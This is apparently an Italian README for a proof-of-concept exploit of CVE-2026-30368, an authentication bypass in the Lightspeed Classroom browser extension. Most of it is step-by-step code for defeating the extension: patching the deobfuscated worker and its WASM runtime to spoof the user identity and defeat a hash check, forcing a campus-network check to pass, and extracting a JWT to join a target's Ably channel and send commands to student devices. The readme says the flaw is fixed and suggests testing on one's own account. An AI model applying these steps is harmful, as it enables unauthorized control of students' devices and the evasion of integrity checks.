
Proof-of-concept exploit per CVE-2026-30368, che dimostra il bypass dell'autenticazione in Lightspeed Classroom per controllare i dispositivi degli studenti tramite il canale Ably.
[!IMPORTANT]
Questa vulnerabilità è stata corretta e ora richiede credenziali, usa la soluzione alternativa per eseguire azioni su te stesso.
CVE-2026-30368 consente a un attaccante di controllare i dispositivi degli studenti tramite una debolezza di autenticazione nella gestione della classe Lightspeed Classroom. Il POC (poc.js) esegue il service worker dell'estensione LS Classroom nel contesto globale. Il worker esegue anche classroom.wasm per alcune funzioni. wasm-loader.js carica il worker ed estrae il token JWT generato da classroom.wasm. Una volta estratto, termina il worker, quindi invia il token alle API di Lightspeed per ricevere un token usato per connettersi al canale Ably del bersaglio. Da lì, un attaccante potrebbe inviare un comando a un dispositivo studente. L'elenco dei comandi e molte altre informazioni sono nel writeup completo disponibile qui.
Questi non possono essere in questo repo perché:
Per evitare problemi, consiglio di usare la versione 5.1.2.1763770643. Se hai bisogno di aiuto per adattare versioni più recenti, sei da solo.
Puoi ottenere i file worker.js e classroom.wasm dal codice sorgente dell'estensione Lightspeed. Questo può essere ottenuto accedendo con il tuo account scolastico su Chrome su un dispositivo personale e poi estraendo il sorgente dell'estensione dalla cartella delle estensioni situata nella directory del profilo Chrome. Puoi anche scaricare manualmente il crx tramite l'URL di aggiornamento.
Il metodo più semplice di questo exploit è prima ottenere classroom.wasm dal codice sorgente della tua estensione, poi incollarlo nella stessa directory di wasm-only.js ed eseguire:
$ node wasm-only.js
Inserisci un'email e un ID cliente quando richiesto. Questo si connetterà al canale ably. Vai alla riga 815 e decommenta ciò che vuoi inviare come messaggi. Credito: ktibow su discord
Una volta che hai i file, aggiungili semplicemente alla directory del repo clonato. Dovrai andare in wasm-loader.js alla funzione getManifest() e incollare lì il manifest della tua estensione. Dovrai anche aggiungere l'ID dell'estensione in wasm-loader.js in cima.
Fai una copia di worker.js con un nome file a tua scelta. Ti servirà più tardi. Dovrai eseguire worker.js tramite webcrack per deoffuscare e deminificare il codice per eseguire le modifiche necessarie. Quando lo fai, assicurati di selezionare solo le opzioni "Deobfuscate" e "Unminify". Prima di incollare il risultato nel tuo editor, si consiglia di disattivare tutti i server LSP perché rimuoveranno variabili casuali e faranno rompere il worker nelle fasi successive (sto guardando te, vtsls...)
Poiché il service worker verrà eseguito su node.js (assicurati di averlo installato), avrà bisogno di alcune patch per funzionare correttamente. Deve anche essere aggiunta la logica di estrazione del JWT. Aggiungi le seguenti 2 funzioni in cima assoluta di worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Queste verranno usate quando modificheremo il runtime go di wasm per intercettare e modificare i valori usati dal wasm di LS classroom.
Assicurati di sostituire YOUR_EXTENSION_ID con il tuo ID estensione e worker_copy.js con il nome file della copia del worker.js originale che hai fatto in precedenza.
Successivamente aggiungi queste 2 funzioni dentro la funzione freccia principale (dopo (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
Successivamente devi impostare IsClassroomActive su true in modo da poter eseguire questo codice al di fuori delle reti del campus. Basta cambiare la funzione per restituire sempre true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Poi, cerca syscall/js.valueCall per trovare la funzione valueCall che deve essere modificata. Questa è ciò che informa il wasm di un valore JS. I 2 valori che vengono intercettati e modificati modificando questa funzione sono il percorso di worker.js (viene cambiato nella copia del tuo worker così che il controllo hash passi) e il valore di chrome.identity.getProfileUserInfo.toString viene cambiato per dire native code così che il WASM creda di potersi fidare quando in realtà è stato modificato in cima al file. Per fare questo, devi usare le funzioni valueCallBefore e valueCallAfter che abbiamo definito in cima. Modifica la funzione valueCall in questo modo (i nomi delle variabili varieranno, ma la struttura è la stessa):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Quasi finito. Infine, devi aggiungere il codice per catturare il JWT. Cerca echoMessages: false e troverai la variabile contenente l'elenco delle intestazioni inviate ad Ably. Subito sotto, aggiungi questa riga (i nomi delle variabili molto probabilmente non saranno accurati, puoi trovare la stessa riga che accede a ablyJwt in authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Questo assegna il JWT a una variabile nell'ambito globale così che wasm-loader.js (l'"harness" che esegue il service worker) possa accedervi. Questo conclude la modifica del worker. Assicurati che tutti i tuoi LSP siano ancora disattivati. Se si sono riattivati, potresti avere problemi con variabili non definite in seguito.
Passa al file poc.js. In cima, aggiungi l'email e l'ID cliente di un account su cui desideri testare (preferibilmente il tuo). Usare un ID cliente diverso dal tuo genererà un errore poiché devi avere i file worker.js e classroom.wasm corretti corrispondenti a quell'ID cliente.